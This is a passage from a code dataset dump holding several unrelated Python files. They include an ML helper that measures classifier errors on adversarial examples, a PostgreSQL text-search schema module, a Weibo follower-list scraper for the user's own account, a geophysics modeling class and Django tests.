kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(1, kernel_regularizer=regularizers.l2(1e-3)),\n tf.keras.layers.Activation(tf.nn.sigmoid)]) #separate activation to get logits\n adam = optimizers.Adam(lr = 1e-3)\n model.compile(optimizer='adam',\n loss= 'binary_crossentropy',\n metrics=['accuracy'])\n logits_model = tf.keras.Model(model.input,model.layers[-1].output)\n return model, logits_model'''\n\n#save model controls whether or not we pass callbacks, need a save_dir\n#how do I save the number of epochs?\n#callbacks needs to be a list\ndef train_model(model, x_train, y_train, x_val, y_val, save_model, save_dir, callbacks, \n message, notebook = \"tst\", epochs = 1, verbose = 1):\n if save_model:\n history = model.fit(x_train, \n y_train, \n epochs = epochs, \n validation_data = (x_val, y_val), \n callbacks = callbacks,\n verbose = verbose) \n write_metadata(save_dir, notebook, epochs, len(x_train), message)\n else:\n history = model.fit(x_train, \n y_train, \n epochs = epochs, \n validation_data = (x_val, y_val),\n verbose = verbose)\n graph_loss(history, save_dir, save_model)\n return history\n\n#returns model for classifying XOR synthetic data, along with directory for saving\n#activation is either \"soft\" for softmax or \"sig\" for sigmoid\ndef build_model(feats, num_hidden, name, activation, regularize = False, verbose = 0):\n DATE = date.today()\n if activation == \"soft\":\n model, logits_model = compile_model(feats, num_hidden = num_hidden, regularize = regularize)\n else:\n model, logits_model = compile_model_sig(feats, num_hidden = num_hidden, regularize = regularize)\n checkpoint_path = str(DATE) + activation + name + \"/cp.ckpt\"\n checkpoint_dir = os.path.dirname(checkpoint_path)\n cp_callback = tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_path,\n save_weights_only=True,\n verbose=verbose)\n return model, logits_model, checkpoint_path, checkpoint_dir, cp_callback\n\n#returns list indicating which examples classified correctly (true) or incorrectly (false)\n#activation is string: \"soft\" for softmax activation, \"sig\" for sigmoid activation\ndef misclass_lst(x_adv, y_adv, model, activation):\n if activation == \"soft\":\n adv_class_lst = list(map(lambda x: list(x).index(max(x)), model.predict(x_adv))) == y_adv\n if activation == 'sig':\n adv_class_lst = [int(round(x[0])) for x in model.predict(x_adv)] == y_adv\n return adv_class_lst\n\n#returns indices of which examples are misclassified\ndef misclass_index(x_adv, y_adv, model, activation):\n class_lst = misclass_lst(x_adv, y_adv, model, activation)\n return [i for i, x in enumerate(class_lst) if Not(x)]\n\n#split indices of misclassified examples into substantial and insubstantial misclassification\ndef error_breakdown(datatype, x_adv,y_adv, model, activation):\n errors = misclass_index(x_adv,y_adv, model, activation)\n sub_errors = []\n insub_errors = []\n datatype_dict = {\"XOR\": xor_thresh_fxn, \"orange_skin\": orange_thresh_fxn, \"nonlinear_additive\" :additive_thresh_fxn, \"switch\": switch_thresh_fxn}\n thresh_fxn = datatype_dict[datatype]\n for i in errors:\n if thresh_fxn(x_adv, i):\n sub_errors.append(i)\n else:\n insub_errors.append(i)\n return errors, sub_errors, insub_errors\n\ndef xor_thresh_fxn(arr, i):\n return abs(arr[i,0] * arr[i,1]) > 0.1\n\ndef orange_thresh_fxn(arr, i):\n return abs(np.sum(arr[i,:4]**2) - 4) > 0.1\n\ndef additive_thresh_fxn(arr, i):\n return abs(-100 * np.sin(0.2*arr[i,0]) + abs(arr[i,1]) + arr[i,2] + np.exp(-arr[i,3]) - 2.4) > 0.1\n\ndef switch_thresh_fxn(arr, i):\n if abs(arr[i, -1]) < 0.1:\n return False\n elif arr[i, -1] > 0.1:\n return orange_thresh_fxn(arr,i)\n else:\n return additive_thresh_fxn(arr[:, 4:], i)\n\n#for given model and validation set, analyzes whether errors are \"significant\" or not (based on how the data was created)\ndef print_error_breakdown(datatype, x_val, y_val, model, activation, mod_name):\n error, sub_error, insub_error = error_breakdown(datatype, x_val, y_val, model, activation)\n denom = len(y_val)\n print(mod_name)\n print(\"percent of errors: \", 100 * len(error) / denom)\n print(\"percent of insubstantial errors: \", 100 * len(insub_error) / denom)\n print(\"percent of substantial errors: \", 100 * len(sub_error) / denom)\n print()\n \ndef generate_switch_labels(X):\n y = (X[:, -1] > 0) * (np.sum(X[:,:4]**2, axis = 1) - 4.0) + (1 - (X[:, -1] > 0)) * (-100 * np.sin(0.2*X[:,4]) + abs(X[:,5]) + X[:,6] + np.exp(-X[:,7]) - 2.4)\n y = (y > 0) * 1\n return y\n \ndef test_for_sub_error(name, datatype, feats = 10, n_train = 10 ** 4, n_val = 10 ** 4, epochs = 10, epsilon = 0.3, verbose = 0, save_model = True):\n #prepare the training data\n num_hidden = 200\n datatype_dict = {\"XOR\": 2, \"orange_skin\":4, \"nonlinear_additive\" : 4, \"switch\" : 5}\n x_train, y_train, x_val, y_val, _ = create_data(datatype, n = n_train, nval = n_val, feats = feats)\n #initialize and train the various models\n soft_mod, soft_logits_mod, soft_path, soft_dir, soft_cp = build_model(feats, num_hidden, name, \"soft\")\n train_model(soft_mod, x_train, y_train, x_val, y_val, save_model, soft_dir, [soft_cp], SOFT_MESSAGE, epochs = epochs, verbose = verbose)\n sig_mod, sig_logits_mod, sig_path, sig_dir, sig_cp = build_model(feats, num_hidden, name, \"sig\")\n train_model(sig_mod, x_train, y_train, x_val, y_val, save_model, sig_dir, [sig_cp], SIG_MESSAGE, epochs = epochs, verbose = verbose)\n l2x_mod, l2x_logit_mod, l2x_pred_mod, _, _, _ = L2X_flex(x_train, y_train, x_val, y_val, activation = 'relu', filedir = str(date.today()) + \"l2x\" + \n name,num_selected_features = datatype_dict[datatype], out_activation='sigmoid', \n loss='binary_crossentropy', optimizer='adam', num_hidden=num_hidden, num_layers=2, \n train = True, epochs = epochs, verbose = verbose)\n #create the adversarial examples\n epsilon = epsilon\n x_adv = fast_gradient_method(soft_logits_mod, x_val, epsilon, np.inf, targeted=False)\n x_adv = x_adv.numpy() #turn to np.array from tf object\n #create correct labels for y_adv\n if datatype == \"XOR\":\n y_adv = generate_XOR_labels(x_adv)\n elif datatype == \"orange_skin\":\n y_adv = generate_orange_labels(x_adv)\n elif datatype == \"nonlinear_additive\":\n y_adv = generate_additive_labels(x_adv)\n if datatype != \"switch\":\n y_adv = (y_adv[:,0]>0.5)*1\n else:\n y_adv = generate_switch_labels(x_adv)\n print_error_breakdown(datatype, x_val, y_val, soft_mod, \"soft\", \"soft val \" + name + datatype)\n print_error_breakdown(datatype, x_adv, y_adv, soft_mod, \"soft\", \"soft adv \" + name + datatype)\n print_error_breakdown(datatype, x_val, y_val, sig_mod, \"sig\", \"sig val \" + name + datatype)\n print_error_breakdown(datatype, x_adv, y_adv, sig_mod, \"sig\", \"sig adv \" + name + datatype )\n print_error_breakdown(datatype, x_val, y_val, l2x_mod, \"sig\", \"l2x val \" + name + datatype )\n print_error_breakdown(datatype, x_adv, y_adv, l2x_mod, \"sig\", \"l2x adv \" + name + datatype)\n #return the information needed to see the effect of the adversarial examples on the predictions\n return x_val, y_val, x_adv, y_adv, l2x_mod, l2x_logit_mod, l2x_pred_mod\n \ndef feats_to_error_l2x(feats, epochs = 1, verbose = 1):\n fd = \"throwaway\"\n epsilon = 0.3\n x_train, y_train, x_val, y_val, _ = create_data(\"XOR\", n = np.int(1e4), feats = feats)\n x_train = np.float32(x_train)\n y_train = np.int32(y_train)\n x_val = np.float32(x_val)\n y_val = np.int32(y_val)\n l2x_model, _, _, _, _ = L2X_flex(x_train, y_train, x_val, y_val, activation = 'relu', filedir = \"throwaway\", num_selected_features = 2,\n out_activation='sigmoid', \n loss='binary_crossentropy', optimizer='adam', num_hidden=200, num_layers=2, train = True, epochs =\n epochs)\n l2x_model.evaluate(x_val, y_val, verbose = verbose)","sub_path":"pysymbolic/algorithms/l2x_helper.py","file_name":"l2x_helper.py","file_ext":"py","file_size_in_byte":13463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"315917601","text":"import sys\n\nx = 10\nx = x + 100\nprint(\"in x:\" + x.__str__())\nprint(\"Name từ bài 6: \" + __name__)\nz = 12\n\nif __name__ == \"__main__\":\n print(\"gọi trực tiếp từ terminal\")\n tong = 0\n for x in range(1, len(sys.argv)):\n # print(sys.argv[x] + \":\" + type(sys.argv[x]).__name__)\n # string --> int\n tong = tong + int(sys.argv[x])\n # int --> string\n print(tong.__str__())\nelse:\n print(\"gọi gián tiếp\")\n","sub_path":"phong/bai6.py","file_name":"bai6.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"33227567","text":"# -*- coding: utf-8 -*-\n\"\"\"\n pyrseas.dbobject.textsearch\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n This defines eight classes: TSConfiguration, TSDictionary,\n TSParser and TSTemplate derived from DbSchemaObject, and\n TSConfigurationDict, TSDictionaryDict, TSParserDict and\n TSTemplateDict derived from DbObjectDict.\n\"\"\"\nfrom pyrseas.dbobject import DbObjectDict, DbSchemaObject\nfrom pyrseas.dbobject import commentable, ownable, split_schema_obj\n\n\nclass TSConfiguration(DbSchemaObject):\n \"\"\"A text search configuration definition\"\"\"\n\n keylist = ['schema', 'name']\n single_extern_file = True\n catalog = 'pg_ts_config'\n\n @property\n def objtype(self):\n return \"TEXT SEARCH CONFIGURATION\"\n\n def to_map(self, db, no_owner):\n \"\"\"Convert a text search configuration to a YAML-suitable format\n\n :return: dictionary\n \"\"\"\n dct = self._base_map(db, no_owner)\n if '.' in self.parser:\n (sch, pars) = self.parser.split('.')\n if sch == self.schema:\n dct['parser'] = pars\n return dct\n\n @commentable\n @ownable\n def create(self):\n \"\"\"Return SQL statements to CREATE the configuration\n\n :return: SQL statements\n \"\"\"\n clauses = []\n clauses.append(\"PARSER = %s\" % self.parser)\n return [\"CREATE TEXT SEARCH CONFIGURATION %s (\\n %s)\" % (\n self.qualname(), ',\\n '.join(clauses))]\n\n def get_implied_deps(self, db):\n deps = super(TSConfiguration, self).get_implied_deps(db)\n deps.add(db.tsparsers[split_schema_obj(self.parser, self.schema)])\n return deps\n\n\nclass TSConfigurationDict(DbObjectDict):\n \"The collection of text search configurations in a database\"\n\n cls = TSConfiguration\n query = \\\n \"\"\"SELECT c.oid, nc.nspname AS schema, cfgname AS name,\n rolname AS owner, np.nspname || '.' || prsname AS parser,\n obj_description(c.oid, 'pg_ts_config') AS description\n FROM pg_ts_config c\n JOIN pg_roles r ON (r.oid = cfgowner)\n JOIN pg_ts_parser p ON (cfgparser = p.oid)\n JOIN pg_namespace nc ON (cfgnamespace = nc.oid)\n JOIN pg_namespace np ON (prsnamespace = np.oid)\n WHERE (nc.nspname != 'pg_catalog'\n AND nc.nspname != 'information_schema')\n ORDER BY nc.nspname, cfgname\"\"\"\n\n def from_map(self, schema, inconfigs):\n \"\"\"Initialize the dictionary of configs by examining the input map\n\n :param schema: schema owning the configurations\n :param inconfigs: input YAML map defining the configurations\n \"\"\"\n for key in inconfigs:\n if not key.startswith('text search configuration '):\n raise KeyError(\"Unrecognized object type: %s\" % key)\n tsc = key[26:]\n self[(schema.name, tsc)] = config = TSConfiguration(\n schema=schema.name, name=tsc)\n inconfig = inconfigs[key]\n if inconfig:\n for attr, val in list(inconfig.items()):\n setattr(config, attr, val)\n if 'oldname' in inconfig:\n config.oldname = inconfig['oldname']\n del inconfig['oldname']\n if 'description' in inconfig:\n config.description = inconfig['description']\n\n\nclass TSDictionary(DbSchemaObject):\n \"\"\"A text search dictionary definition\"\"\"\n\n keylist = ['schema', 'name']\n single_extern_file = True\n catalog = 'pg_ts_dict'\n\n @property\n def objtype(self):\n return \"TEXT SEARCH DICTIONARY\"\n\n @commentable\n @ownable\n def create(self):\n \"\"\"Return SQL statements to CREATE the dictionary\n\n :return: SQL statements\n \"\"\"\n clauses = []\n clauses.append(\"TEMPLATE = %s\" % self.template)\n if hasattr(self, 'options'):\n clauses.append(self.options)\n return [\"CREATE TEXT SEARCH DICTIONARY %s (\\n %s)\" % (\n self.qualname(), ',\\n '.join(clauses))]\n\n\nclass TSDictionaryDict(DbObjectDict):\n \"The collection of text search dictionaries in a database\"\n\n cls = TSDictionary\n query = \\\n \"\"\"SELECT d.oid, nspname AS schema, dictname AS name, rolname AS owner,\n tmplname AS template, dictinitoption AS options,\n obj_description(d.oid, 'pg_ts_dict') AS description\n FROM pg_ts_dict d JOIN pg_ts_template t ON (dicttemplate = t.oid)\n JOIN pg_roles r ON (r.oid = dictowner)\n JOIN pg_namespace n ON (dictnamespace = n.oid)\n WHERE (nspname != 'pg_catalog' AND nspname != 'information_schema')\n ORDER BY nspname, dictname\"\"\"\n\n def from_map(self, schema, indicts):\n \"\"\"Initialize the dictionary of dictionaries by examining the input map\n\n :param schema: schema owning the dictionaries\n :param indicts: input YAML map defining the dictionaries\n \"\"\"\n for key in indicts:\n if not key.startswith('text search dictionary '):\n raise KeyError(\"Unrecognized object type: %s\" % key)\n tsd = key[23:]\n self[(schema.name, tsd)] = tsdict = TSDictionary(\n schema=schema.name, name=tsd)\n indict = indicts[key]\n if indict:\n for attr, val in list(indict.items()):\n setattr(tsdict, attr, val)\n if 'oldname' in indict:\n tsdict.oldname = indict['oldname']\n del indict['oldname']\n if 'description' in indict:\n tsdict.description = indict['description']\n\n\nclass TSParser(DbSchemaObject):\n \"\"\"A text search parser definition\"\"\"\n\n keylist = ['schema', 'name']\n single_extern_file = True\n catalog = 'pg_ts_parser'\n\n @property\n def objtype(self):\n return \"TEXT SEARCH PARSER\"\n\n @commentable\n @ownable\n def create(self):\n \"\"\"Return SQL statements to CREATE the parser\n\n :return: SQL statements\n \"\"\"\n clauses = []\n for attr in ['start', 'gettoken', 'end', 'lextypes']:\n clauses.append(\"%s = %s\" % (attr.upper(), getattr(self, attr)))\n if hasattr(self, 'headline'):\n clauses.append(\"HEADLINE = %s\" % self.headline)\n return [\"CREATE TEXT SEARCH PARSER %s (\\n %s)\" % (\n self.qualname(), ',\\n '.join(clauses))]\n\n\nclass TSParserDict(DbObjectDict):\n \"The collection of text search parsers in a database\"\n\n cls = TSParser\n query = \\\n \"\"\"SELECT p.oid, nspname AS schema, prsname AS name,\n prsstart::regproc AS start, prstoken::regproc AS gettoken,\n prsend::regproc AS end, prslextype::regproc AS lextypes,\n prsheadline::regproc AS headline,\n obj_description(p.oid, 'pg_ts_parser') AS description\n FROM pg_ts_parser p\n JOIN pg_namespace n ON (prsnamespace = n.oid)\n WHERE (nspname != 'pg_catalog' AND nspname != 'information_schema')\n ORDER BY nspname, prsname\"\"\"\n\n def from_map(self, schema, inparsers):\n \"\"\"Initialize the dictionary of parsers by examining the input map\n\n :param schema: schema owning the parsers\n :param inparsers: input YAML map defining the parsers\n \"\"\"\n for key in inparsers:\n if not key.startswith('text search parser '):\n raise KeyError(\"Unrecognized object type: %s\" % key)\n tsp = key[19:]\n self[(schema.name, tsp)] = parser = TSParser(\n schema=schema.name, name=tsp)\n inparser = inparsers[key]\n if inparser:\n for attr, val in list(inparser.items()):\n setattr(parser, attr, val)\n if 'oldname' in inparser:\n parser.oldname = inparser['oldname']\n del inparser['oldname']\n if 'description' in inparser:\n parser.description = inparser['description']\n\n\nclass TSTemplate(DbSchemaObject):\n \"\"\"A text search template definition\"\"\"\n\n keylist = ['schema', 'name']\n single_extern_file = True\n catalog = 'pg_ts_template'\n\n @property\n def objtype(self):\n return \"TEXT SEARCH TEMPLATE\"\n\n @commentable\n def create(self):\n \"\"\"Return SQL statements to CREATE the template\n\n :return: SQL statements\n \"\"\"\n clauses = []\n if hasattr(self, 'init'):\n clauses.append(\"INIT = %s\" % self.init)\n clauses.append(\"LEXIZE = %s\" % self.lexize)\n return [\"CREATE TEXT SEARCH TEMPLATE %s (\\n %s)\" % (\n self.qualname(), ',\\n '.join(clauses))]\n\n\nclass TSTemplateDict(DbObjectDict):\n \"The collection of text search templates in a database\"\n\n cls = TSTemplate\n query = \\\n \"\"\"SELECT p.oid, nspname AS schema, tmplname AS name,\n tmplinit::regproc AS init, tmpllexize::regproc AS lexize,\n obj_description(p.oid, 'pg_ts_template') AS description\n FROM pg_ts_template p\n JOIN pg_namespace n ON (tmplnamespace = n.oid)\n WHERE (nspname != 'pg_catalog' AND nspname != 'information_schema')\n ORDER BY nspname, tmplname\"\"\"\n\n def from_map(self, schema, intemplates):\n \"\"\"Initialize the dictionary of templates by examining the input map\n\n :param schema: schema owning the templates\n :param intemplates: input YAML map defining the templates\n \"\"\"\n for key in intemplates:\n if not key.startswith('text search template '):\n raise KeyError(\"Unrecognized object type: %s\" % key)\n tst = key[21:]\n self[(schema.name, tst)] = template = TSTemplate(\n schema=schema.name, name=tst)\n intemplate = intemplates[key]\n if intemplate:\n for attr, val in list(intemplate.items()):\n setattr(template, attr, val)\n if 'oldname' in intemplate:\n template.oldname = intemplate['oldname']\n del intemplate['oldname']\n if 'description' in intemplate:\n template.description = intemplate['description']\n","sub_path":"pyrseas/dbobject/textsearch.py","file_name":"textsearch.py","file_ext":"py","file_size_in_byte":10343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"533211962","text":"from selenium import webdriver\r\nimport time\r\n\"\"\"\r\nFile Description: \r\nAuthor: jerryzlz\r\nMail: jerryzlz4@hotmail.com\r\n\"\"\"\r\n\r\n\r\nclass GetList(object):\r\n\r\n def init(self, username, password):\r\n \"\"\"\r\n 初始化浏览器窗口\r\n :param username: 登录手机/邮箱\r\n :param password: 登录密码\r\n \"\"\"\r\n self.driver = webdriver.Firefox()\r\n self.driver.set_window_size(375, 667)\r\n self.driver.get('https://weibo.cn/')\r\n self.driver.find_element_by_xpath('/html/body/div[2]/div/a[1]').click()\r\n time.sleep(3)\r\n self.driver.find_element_by_xpath('//*[@id=\"loginName\"]').send_keys(username)\r\n self.driver.find_element_by_xpath('//*[@id=\"loginPassword\"]').send_keys(password)\r\n self.driver.find_element_by_xpath('//*[@id=\"loginWrapper\"]').click()\r\n self.driver.find_element_by_xpath('//*[@id=\"loginAction\"]').click()\r\n time.sleep(3)\r\n\r\n def get_follow_list(self, speed=1.5):\r\n \"\"\"\r\n 获取关注列表\r\n :param speed: 等待翻页时间(单位:秒)\r\n :return: None\r\n \"\"\"\r\n print(\"=\" * 100)\r\n print(\"开始获取关注列表\")\r\n # self.driver.minimize_window()\r\n follow_list = []\r\n follow_namelist = []\r\n follow_urllist = []\r\n self.driver.find_element_by_xpath('/html/body/div[4]/div[2]/a[2]').click()\r\n time.sleep(3)\r\n follow_pages = self.driver.find_element_by_xpath('/html/body/div[15]/form/div/input[1]').get_attribute('value')\r\n # print(follow_pages)\r\n for j in range(int(follow_pages)):\r\n for i in range(0, 10):\r\n element = \"/html/body/table[\" + str(i+1) + \"]/tbody/tr/td[2]/a[1]\"\r\n try:\r\n following_name = self.driver.find_element_by_xpath(element)\r\n follow_namelist.append(following_name.text)\r\n follow_urllist.append(following_name.get_attribute('href'))\r\n except:\r\n continue\r\n try:\r\n self.driver.find_element_by_link_text(\"下页\").click()\r\n except:\r\n break\r\n time.sleep(speed)\r\n self.driver.find_element_by_xpath('/html/body/div[1]/a[1]').click()\r\n for i in range(len(follow_namelist)):\r\n follow_list.append([follow_namelist[i], follow_urllist[i]])\r\n filename = \"following_\" + str(time.strftime(\"UTC%Y-%m-%d_%H-%M-%S\", time.gmtime())) + \".txt\"\r\n output = open(str(filename), \"w\", encoding=\"utf-8\")\r\n for f in follow_list:\r\n output.write(\",\".join(f) + \"\\n\")\r\n output.close()\r\n print(\"关注列表已成功保存\")\r\n print(\"文件名为:{}\" .format(filename))\r\n print(\"=\" * 100)\r\n\r\n def get_fan_list(self, speed=1.5):\r\n \"\"\"\r\n 获取粉丝列表\r\n :param speed: 等待翻页时间(单位:秒)\r\n :return: None\r\n \"\"\"\r\n print(\"=\" * 100)\r\n print(\"开始获取粉丝列表\")\r\n # self.driver.minimize_window()\r\n fan_list = []\r\n fan_namelist = []\r\n fan_urllist = []\r\n self.driver.find_element_by_xpath('/html/body/div[4]/div[2]/a[3]').click()\r\n time.sleep(3)\r\n fan_pages = self.driver.find_element_by_xpath('/html/body/div[5]/div[12]/form/div/input[1]').get_attribute('value')\r\n # print(fan_pages)\r\n for j in range(0, int(fan_pages)):\r\n for i in range(0, 10):\r\n element = \"/html/body/div[5]/table[\" + str(i + 1) + \"]/tbody/tr/td[2]/a[1]\"\r\n try:\r\n fan_name = self.driver.find_element_by_xpath(element)\r\n fan_namelist.append(fan_name.text)\r\n fan_urllist.append(fan_name.get_attribute('href'))\r\n except:\r\n continue\r\n try:\r\n self.driver.find_element_by_link_text(\"下页\").click()\r\n except:\r\n break\r\n time.sleep(speed)\r\n self.driver.find_element_by_xpath('/html/body/div[1]/a[1]').click()\r\n\r\n for i in range(len(fan_namelist)):\r\n fan_list.append([fan_namelist[i], fan_urllist[i]])\r\n filename = \"fan_\" + str(time.strftime(\"UTC%Y-%m-%d_%H-%M-%S\", time.gmtime())) + \".txt\"\r\n output = open(str(filename), \"w\", encoding=\"utf-8\")\r\n for f in fan_list:\r\n output.write(\",\".join(f) + \"\\n\")\r\n output.close()\r\n print(\"粉丝列表已成功保存\")\r\n print(\"文件名为:{}\" .format(filename))\r\n print(\"=\" * 100)\r\n\r\n def close(self):\r\n self.driver.quit()\r\n\r\n def difference(self, list1, list2):\r\n \"\"\"\r\n 获得两个列表之间的差值\r\n :param list1: 输入列表1\r\n :param list2: 输入列表2\r\n :return: 返回差值列表\r\n \"\"\"\r\n list_dif = [i for i in list1 + list2 if i not in list1 or i not in list2]\r\n return list_dif\r\n\r\n def compare(self, old_filepath, new_filepath):\r\n \"\"\"\r\n \r\n :param old_filepath: 输入列表1的文件名\r\n :param new_filepath: 输入列表2的文件名\r\n :return: None\r\n \"\"\"\r\n old_file, new_file = open(old_filepath, \"r\", encoding=\"utf-8\"), open(new_filepath, \"r\", encoding=\"utf-8\")\r\n old_list, old_urllist, new_list, new_urllist, compared = [], [], [], [], []\r\n for line in old_file:\r\n old_list.append(line.strip(\"\\n\").split(\",\"))\r\n for line in new_file:\r\n new_list.append(line.strip(\"\\n\").split(\",\"))\r\n\r\n for i in range(len(old_list)):\r\n old_urllist.append(old_list[i][1])\r\n for i in range(len(new_list)):\r\n new_urllist.append(new_list[i][1])\r\n\r\n for i in old_urllist:\r\n if old_urllist.count(i) > 1:\r\n old_urllist.remove(i)\r\n for i in new_urllist:\r\n if new_urllist.count(i) > 1:\r\n new_urllist.remove(i)\r\n\r\n compared = self.difference(old_urllist, new_urllist)\r\n print(compared)\r\n if len(compared) != 0:\r\n filename = \"compared_\" + str(time.strftime(\"UTC%Y-%m-%d_%H-%M-%S\", time.gmtime())) + \".txt\"\r\n output = open(str(filename), \"w\", encoding=\"utf-8\")\r\n for f in compared:\r\n output.write(f + \"\\n\")\r\n output.close()\r\n print(\"=\" * 100)\r\n print(\"粉丝列表已成功保存\")\r\n print(\"文件名为:{}\".format(filename))\r\n else:\r\n print(\"=\" * 100)\r\n print(\"两个列表之间没有区别,未保存对比列表\")\r\n\r\n\r\nwhile True:\r\n print(\"=\"*100)\r\n print(\"1.获取关注列表\")\r\n print(\"2.获取粉丝列表\")\r\n print(\"3.同时获取关注和粉丝列表\")\r\n print(\"4.使用两个本地已有的列表比对列表之间变化情况\")\r\n print(\"0.退出本软件\")\r\n print(\"=\" * 100)\r\n num = int(input(\"请输入所需要的操作编号:\"))\r\n if num == 1:\r\n print(\"=\" * 100)\r\n name = input(\"请输入登录邮箱/手机号:\")\r\n psd = input(\"请输入密码:\")\r\n main = GetList()\r\n main.init(name, psd)\r\n main.get_follow_list(0.5)\r\n main.close()\r\n elif num == 2:\r\n print(\"=\" * 100)\r\n name = input(\"请输入登录邮箱/手机号:\")\r\n psd = input(\"请输入密码:\")\r\n main = GetList()\r\n main.init(name, psd)\r\n main.get_fan_list(0.5)\r\n main.close()\r\n elif num == 3:\r\n print(\"=\" * 100)\r\n name = input(\"请输入登录邮箱/手机号:\")\r\n psd = input(\"请输入密码:\")\r\n main = GetList()\r\n main.init(name, psd)\r\n main.get_follow_list(0.5)\r\n main.get_fan_list(0.5)\r\n main.close()\r\n elif num == 4:\r\n print(\"=\" * 100)\r\n print(\"将输出两个列表的差值\")\r\n file1 = input(\"请输入第一个列表的文件名:\")\r\n file2 = input(\"请输入第二个列表的文件名:\")\r\n main = GetList()\r\n main.compare(file1, file2)\r\n elif num == 0:\r\n print(\"程序已关闭\")\r\n break\r\n else:\r\n print(\"=\" * 100)\r\n print(\"输入错误,请重新输入\")\r\n continue\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"650016682","text":"import json\nimport csv\nimport numpy as np\nimport pandas as pd\nimport pathlib\nfrom gmm.inversion import execute_inversion\n\n\nclass GMModel():\n '''\n Gravity/Magnetics Model\n ---\n '''\n def __init__(self, *args, **kwargs):\n '''\n Initialize Gravity Modeling\n '''\n self.project_name = \"\"\n self.ambient_field = 0.0\n self.inclination = 0.0\n self.units = \"\"\n self.azimuth = 0.0\n self.modeling_mode = \"\"\n self.project_file = kwargs[\"project_file\"]\n self.new_project = kwargs[\"new_project\"]\n\n if self.new_project:\n # Take all the parameters and create a new save file\n # Check what modeling we want\n if self.modeling_mode == \"gravity\":\n # Do gravity modeling\n pass\n elif self.modeling_mode == \"magnetics\":\n # Do a magnetics model\n pass\n else:\n # Grab the configurations from the json file\n f = open(self.project_file, mode=\"r\")\n configuration = json.load(f)\n\n self.project_name = configuration[\"project_name\"]\n self.ambient_field = configuration[\"ambient_field\"]\n self.inclination = configuration[\"inclination\"]\n self.units = configuration[\"units\"]\n self.azimuth = configuration[\"azimuth\"]\n self.modeling_mode = configuration[\"modeling_mode\"]\n self.num_poly = configuration[\"num_poly\"]\n self.distance_units = configuration[\"distance_units\"]\n self.obs_agreement_station = configuration[\"obs_agreement_station\"]\n self.number_of_stations = configuration[\"number_of_stations\"]\n self.inputs_dir = pathlib.Path(self.project_file)\\\n .parent.resolve().joinpath(\"inputs\")\n self.outputs_dir = pathlib.Path(self.project_file)\\\n .parent.resolve().joinpath(\"outputs\")\n self.measurements = self.read_data()\n\n def inversion(self, *args, **kwargs):\n '''\n Inversion Program\n '''\n\n inv = {\n \"dist\": 0.0,\n \"nstat\": 0.0,\n \"grav\": 0.0,\n \"gtot\": 0.0,\n \"mag\": 0.0,\n \"mtot\": 0.0,\n \"npoly\": 1,\n \"nsides\": 12,\n \"z\": np.zeros(12, 25),\n \"x\": np.zeros(12, 25),\n \"elev\": 0.0,\n \"sl\": 0.0,\n \"densty\": 0.0,\n \"ct\": 0.0,\n \"suscp\": 0.0,\n \"nbase\": 0.0,\n \"ian\": 0.0\n }\n\n execute_inversion(iterations=10, kwargs=inv)\n\n def read_data(self, *args, **kwargs):\n '''\n Read Data\n =========\n\n This function opens up a file located in the place where we store the\n profile .json\n\n The file must be inside of the inputs folder and named input_data.csv\n\n Returns a Pandas dataframe with all of the data measurements\n '''\n data_loc = self.inputs_dir.joinpath(\"input_data.csv\")\n data = pd.read_csv(data_loc.__str__()).dropna(axis=1)\n \n return(data)\n","sub_path":"src/gmm/gm.py","file_name":"gm.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"384055335","text":"# Use modern Python\nfrom __future__ import absolute_import, print_function, unicode_literals\n\n# Django imports\nimport os\nfrom django.test import TestCase, SimpleTestCase\n\n# External imports\nfrom django_prbac.models import Grant, Role\n\n# CCHQ imports\nfrom corehq.apps.hqadmin.management.commands import cchq_prbac_bootstrap\nfrom corehq.apps.hqadmin.management.commands.make_supervisor_pillowtop_conf import Command\n\n\nclass TestCchqPrbacBootstrap(TestCase):\n \"\"\"\n Tests the PRBAC bootstrap with and without --dry-run\n \"\"\"\n\n def test_dry_run(self):\n \"\"\"\n When --dry-run is passed, no models should be created\n \"\"\"\n self.assertEquals(Role.objects.count(), 0)\n self.assertEquals(Grant.objects.count(), 0)\n\n command = cchq_prbac_bootstrap.Command()\n command.handle(dry_run=True)\n\n self.assertEquals(Role.objects.count(), 0)\n self.assertEquals(Grant.objects.count(), 0)\n\n def test_non_dry_run(self):\n \"\"\"\n When there is no --dry-run passed, it defaults to false, and\n things happen. Furthermore, the thing should be idempotent\n \"\"\"\n self.assertEquals(Role.objects.count(), 0)\n self.assertEquals(Grant.objects.count(), 0)\n\n command = cchq_prbac_bootstrap.Command()\n command.handle(dry_run=False)\n\n # Just make sure something happened\n self.assertGreater(Role.objects.count(), 10)\n self.assertGreater(Grant.objects.count(), 10)\n\n role_count = Role.objects.count()\n grant_count = Grant.objects.count()\n\n command.handle(dry_run=False)\n\n self.assertEquals(Role.objects.count(), role_count)\n self.assertEquals(Grant.objects.count(), grant_count)\n\n\nclass TestPillowTopFiltering(SimpleTestCase):\n \"\"\"\n Tests the function that excludes certain pillows from running on staging.\n \"\"\"\n\n def setUp(self):\n self.pillowtops = {\n 'core': [\n 'corehq.pillows.case.CasePillow',\n 'corehq.pillows.xform.XFormPillow',\n 'corehq.pillows.domain.DomainPillow',\n 'corehq.pillows.user.UserPillow',\n 'corehq.pillows.application.AppPillow',\n 'corehq.pillows.group.GroupPillow',\n 'corehq.pillows.sms.SMSPillow',\n 'corehq.pillows.user.GroupToUserPillow',\n 'corehq.pillows.user.UnknownUsersPillow',\n 'corehq.pillows.sofabed.FormDataPillow',\n 'corehq.pillows.sofabed.CaseDataPillow',\n ],\n 'phonelog': [\n 'corehq.pillows.log.PhoneLogPillow',\n ],\n }\n\n self.here = os.path.dirname(os.path.realpath(__file__))\n\n def test_no_blacklist_items(self):\n expected_pillows = [u'corehq.pillows.case.CasePillow',\n 